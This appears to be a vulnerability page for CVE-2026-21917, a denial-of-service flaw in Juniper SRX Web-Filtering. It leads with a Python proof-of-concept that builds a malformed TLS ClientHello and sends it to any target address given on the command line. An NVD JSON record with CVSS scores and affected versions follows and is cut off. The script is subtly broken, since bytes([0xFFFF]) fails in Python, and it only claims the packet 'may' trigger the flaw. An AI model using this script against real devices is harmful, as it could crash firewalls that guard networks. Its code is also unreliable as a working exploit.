CVE-2026-21917

#!/usr/bin/env python3 # CVE-2026-21917 PoC - Malformed SSL Packet for Juniper SRX DoS # Note: This is a proof-of-concept for educational and security research purposes only import socket import struct import random def create_malformed_ssl_packet(): """ Create a malformed SSL record packet that may trigger the vulnerability in Juniper SRX Web-Filtering module """ # SSL Record Header content_type = 0x16 # Handshake version = 0x0301 # TLS 1.0 # Malformed handshake with invalid length fields handshake_type = 0x01 # ClientHello # Craft malformed ClientHello with invalid extension length client_version = 0x0303 # TLS 1.2 random_bytes = bytes([random.randint(0, 255) for _ in range(32)]) # Session ID (empty) session_id = bytes([0x00]) # Cipher suites with malformed length cipher_suites = bytes([0x00, 0x04, 0x00, 0x2F, 0x00, 0x3C]) # Extensions with malformed data # Create an extension with invalid/overflow length extension_type = 0x000F # max_fragment_length # Malformed extension length - intentionally wrong malformed_length = 0xFFFF # Invalid length that may cause parsing error extension_data = bytes([malformed_length]) + bytes([0x41] * 100) extensions = struct.pack('>HH', extension_type, len(extension_data)) + extension_data extensions = struct.pack('>H', len(extensions)) + extensions # Build ClientHello body client_hello_body = struct.pack('>H', client_version) + random_bytes client_hello_body += session_id + cipher_suites + extensions # Handshake header handshake = bytes([handshake_type]) + struct.pack('>I', len(client_hello_body))[1:] handshake += client_hello_body # SSL Record ssl_record = bytes([content_type]) + struct.pack('>HH', version, len(handshake)) ssl_record += handshake return ssl_record def send_exploit(target_ip, target_port=443): """ Send the malformed SSL packet to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, target_port)) packet = create_malformed_ssl_packet() sock.send(packet) print(f"[+] Malformed SSL packet sent to {target_ip}:{target_port}") print(f"[+] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2026-21917-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_exploit(target, port)

{"cve": {"id": "CVE-2026-21917", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:07.877", "lastModified": "2026-01-23T19:41:44.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Validation of Syntactic Correctness of Input vulnerability in the Web-Filtering module of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\nIf an SRX device configured for UTM Web-Filtering receives a specifically malformed SSL packet, this will cause an FPC crash and restart.\nThis issue affects Junos OS on SRX Series:\n\n\n\n * 23.2 versions from 23.2R2-S2 before 23.2R2-S5, \n * 23.4 versions from 23.4R2-S1 before 23.4R2-S5,\n * 24.2 versions before 24.2R2-S2,\n * 24.4 versions before 24.4R1-S3, 24.4R2.\n\n\nEarlier versions of Junos are also affected, but no fix is available."}, {"lang": "es", "value": "Una vulnerabilidad de validación incorrecta de la corrección sintáctica de la entrada en el módulo de filtrado web de Juniper Networks Junos OS en la serie SRX permite a un atacante no autenticado y basado en red causar una denegación de servicio (DoS).\n\nSi un dispositivo SRX configurado para filtrado web UTM recibe un paquete SSL específicamente malformado, esto causará un fallo y reinicio del FPC.\nEste problema afecta a Junos OS en la serie SRX:\n\n * Versiones 23.2 desde 23.2R2-S2 anteriores a 23.2R2-S5,\n * Versiones 23.4 desde 23.4R2-S1 anteriores a 23.4R2-S5,\n * Versiones 24.2 anteriores a 24.2R2-S2,\n * Versiones 24.4 anteriores a 24.4R1-S3, 24.4R2.\n\nLas versiones anteriores de Junos también están afectadas, pero no hay una solución disponible."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "B3B6C811-5C10-4486-849D-5559B592350A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s3:*:*:*:*:*:*", "matchCriteriaId": "078D61B9-A228-453C-9D20-6F9C6B20637F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.2:r2-s4:*:*:*:*:*:*", "matchCriteriaId": "F1F136A0-021D-43FE-BDD3-AD7201F7FC03"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "166BFDB3-1945-4949-BC2B-E18442FF2E4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "5923610F-878C-48CA-8B5D-9C609E4DD4DB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r2-s3:*:*:*:*:*:*", "matchCriteriaId": "A7C207E3-0252-4192-8E8C-E2ED2831B4F4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:23.4:r2-s4:*:*:*:*:*:*", "matchCriteriaId": "E6974492-FE69-4340-8881-61C3329C1545"}, {"vulnerable": true, "criteria ... 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